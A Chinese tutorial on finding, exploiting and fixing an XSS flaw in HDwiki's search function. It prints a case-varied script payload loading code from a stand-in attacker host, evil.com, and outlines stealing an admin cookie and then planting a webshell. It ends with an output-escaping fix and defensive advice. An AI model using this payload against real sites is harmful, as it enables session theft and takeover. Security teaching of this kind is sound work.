AWVS漏洞扫描实战:HDwiki XSS漏洞发现、利用及修复
字数 1041 2025-08-15 21:30:49
HDwiki XSS漏洞分析与利用实战教学文档
1. 漏洞背景
HDwiki是一款开源的中文Wiki系统,在5.1和6.0版本中存在一个存储型XSS漏洞,攻击者可以利用该漏洞实施Cookie劫持攻击,进而获取管理员权限。
2. 漏洞发现
2.1 使用AWVS扫描
- 使用工具:Acunetix Web Vulnerability Scanner (AWVS) 11破解版
- AWVS特点:
- DeepScan技术:抓取AJAX密集型客户端单页面应用程序(SPA)
- 先进的SQL注入和XSS测试能力
- AcuSensor技术:结合黑盒扫描和源代码传感器反馈
2.2 扫描结果
AWVS扫描发现:
- HDwiki 5.1和6.0版本均存在高危XSS漏洞
- 漏洞位置:搜索功能处
3. 漏洞分析
3.1 漏洞位置
/index.php的搜索功能参数:
search-fulltext-title-[编码后的XSS代码]--all-0-within-time-desc-1
3.2 POC代码
AWVS使用的测试POC:
e<ScRiPt >QrAN(9515)</sCripT>
URL编码后:
%2565%253C%2553%2563%2572%2569%2570%2574%2520%253E%2551%2572%2541%254E%25289515%2529%253C%252F%2573%2543%2572%2569%2570%2554%253E
3.3 攻击代码
构造的攻击代码:
<ScRiPt src=http://www.evil.com/evil.js</sCripT>
URL编码后:
%3c%53%63%52%69%50%74%20%73%72%63%3d%68%74%74%70%3a%2f%2f%77%77%77%2e%65%76%69%6c%2e%63%6f%6d%2f%65%76%69%6c%2e%6a%73%3e%3c%2f%73%43%72%69%70%54%3e
4. 漏洞利用
4.1 攻击步骤
- 在HDwiki的高级搜索功能中输入编码后的攻击代码
- 页面执行恶意脚本,向攻击者服务器发送用户Cookie
- 攻击者获取admin用户的Cookie
- 使用盗取的Cookie登录系统
4.2 攻击效果
- 实现Cookie劫持攻击
- 获取管理员权限
- 可进一步上传一句话木马等恶意操作
5. 漏洞原理
5.1 现有过滤机制
服务器端PHP过滤代码:
function checksecurity() {
$check_array = array(
'get'=>array('cast', 'exec','show ','show/*','alter ','alter/*',
'create ','create/*','insert ','insert/*', 'select ','select/*',
'delete ','delete/*','update ', 'update/*','drop ','drop/*',
'truncate ','truncate/*','replace ','replace/*','union ','union/*',
'execute', 'from', 'declare', 'varchar', 'script', 'iframe'0x'27', '%22'
);
foreach ($check_array as $check_key=>$check_val) {
if(!empty($this->$check_key)) {
foreach($this->$check_key as $getvalue) {
foreach ($check_val as $invalue) {
if(stripos($getvalue, $invalue) !== false){
$this->notfound('page is not found!');
//exit('No Aceess!注意敏感词!');
}
}
}
}
}
}
5.2 过滤缺陷
- 虽然对部分关键词进行了过滤,但不够全面
- 大小写变形绕过:如
<ScRiPt>可以绕过对<script>的检测 - 未对输出进行充分转义
6. 漏洞修复
6.1 修复方案
采用输出过滤策略,对$serchtext变量进行转义:
$serchtext=htmlspecialchars(stripslashes($serchtext));
6.2 修复原理
- 使用
htmlspecialchars()函数对特殊字符进行HTML实体转义 - 使用
stripslashes()去除可能的转义斜杠 - 重点转义输出到页面的变量,特别是用户可控的输入
7. 防御建议
- 对所有用户输入进行严格的过滤和验证
- 对所有输出到页面的内容进行HTML实体转义
- 使用内容安全策略(CSP)限制脚本执行
- 设置HttpOnly标志保护Cookie
- 实施CSRF防护机制
8. 总结
本漏洞展示了存储型XSS的实际危害,通过AWVS扫描发现并验证了漏洞的存在。攻击者可以利用该漏洞窃取用户会话,获取系统控制权。修复的关键在于对输出内容进行适当的转义处理,而不仅仅是依赖输入过滤。